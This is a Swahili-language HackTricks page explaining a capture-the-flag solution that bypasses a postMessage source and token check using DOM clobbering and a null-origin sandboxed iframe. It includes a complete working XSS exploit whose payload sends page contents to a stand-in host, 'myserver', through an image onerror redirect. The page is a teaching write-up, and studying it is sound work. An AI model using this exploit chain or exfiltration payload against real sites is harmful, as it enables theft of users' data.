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81 lines
4.0 KiB
Markdown
81 lines
4.0 KiB
Markdown
# Bypassing SOP with Iframes - 2
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{{#include ../../banners/hacktricks-training.md}}
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## Iframes in SOP-2
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Katika [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) ya [**challenge**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic_) anapendekeza njia inayofanana na sehemu ya awali. Hebu tuangalie.
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Katika changamoto hii, mshambuliaji anahitaji **bypass** hii:
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```javascript
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if (e.source == window.calc.contentWindow && e.data.token == window.token) {
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```
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Ikiwa atafanya hivyo, anaweza kutuma **postmessage** yenye maudhui ya HTML ambayo itandikwa kwenye ukurasa kwa **`innerHTML`** bila kusafishwa (**XSS**).
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Njia ya kupita **kikaguzi cha kwanza** ni kwa kufanya **`window.calc.contentWindow`** kuwa **`undefined`** na **`e.source`** kuwa **`null`**:
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- **`window.calc.contentWindow`** kwa kweli ni **`document.getElementById("calc")`**. Unaweza kuharibu **`document.getElementById`** kwa **`<img name=getElementById />`** (zingatia kuwa Sanitizer API -[hapa](https://wicg.github.io/sanitizer-api/index.html#dom-clobbering)- haijapangwa kulinda dhidi ya mashambulizi ya DOM clobbering katika hali yake ya kawaida).
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- Kwa hivyo, unaweza kuharibu **`document.getElementById("calc")`** kwa **`<img name=getElementById /><div id=calc></div>`**. Kisha, **`window.calc`** itakuwa **`undefined`**.
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- Sasa, tunahitaji **`e.source`** kuwa **`undefined`** au **`null`** (kwa sababu `==` inatumika badala ya `===`, **`null == undefined`** ni **`True`**). Kupata hii ni "rahisi". Ikiwa unaunda **iframe** na **kutuma** **postMessage** kutoka kwake na mara moja **kuondoa** iframe, **`e.origin`** itakuwa **`null`**. Angalia msimbo ufuatao
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```javascript
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let iframe = document.createElement("iframe")
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document.body.appendChild(iframe)
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window.target = window.open("http://localhost:8080/")
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await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
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iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
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document.body.removeChild(iframe) //e.origin === null
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```
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Ili kupita **ukaguzi wa pili** kuhusu token ni kwa kutuma **`token`** yenye thamani `null` na kufanya thamani ya **`window.token`** kuwa **`undefined`**:
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- Kutuma `token` katika postMessage yenye thamani `null` ni rahisi.
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- **`window.token`** katika kuita kazi **`getCookie`** ambayo inatumia **`document.cookie`**. Kumbuka kwamba ufikiaji wowote wa **`document.cookie`** katika kurasa za asili **`null`** unachochea **makosa**. Hii itafanya **`window.token`** kuwa na thamani **`undefined`**.
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Suluhisho la mwisho na [**@terjanq**](https://twitter.com/terjanq) ni [**ifuatayo**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
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```html
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<html>
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<body>
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<script>
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// Abuse "expr" param to cause a HTML injection and
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// clobber document.getElementById and make window.calc.contentWindow undefined
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open(
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'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
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)
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function start() {
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var ifr = document.createElement("iframe")
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// Create a sandboxed iframe, as sandboxed iframes will have origin null
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// this null origin will document.cookie trigger an error and window.token will be undefined
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ifr.sandbox = "allow-scripts allow-popups"
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ifr.srcdoc = `<script>(${hack})()<\/script>`
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document.body.appendChild(ifr)
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function hack() {
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var win = open("https://obligatory-calc.ctf.sekai.team")
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setTimeout(() => {
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parent.postMessage("remove", "*")
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// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
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// token=null equals to undefined and e.source will be null so null == undefined
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win.postMessage(
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{
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token: null,
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result:
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"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
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},
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"*"
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)
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}, 1000)
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}
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// this removes the iframe so e.source becomes null in postMessage event.
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onmessage = (e) => {
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if (e.data == "remove") document.body.innerHTML = ""
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}
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}
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setTimeout(start, 1000)
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</script>
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</body>
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</html>
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```
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{{#include ../../banners/hacktricks-training.md}}
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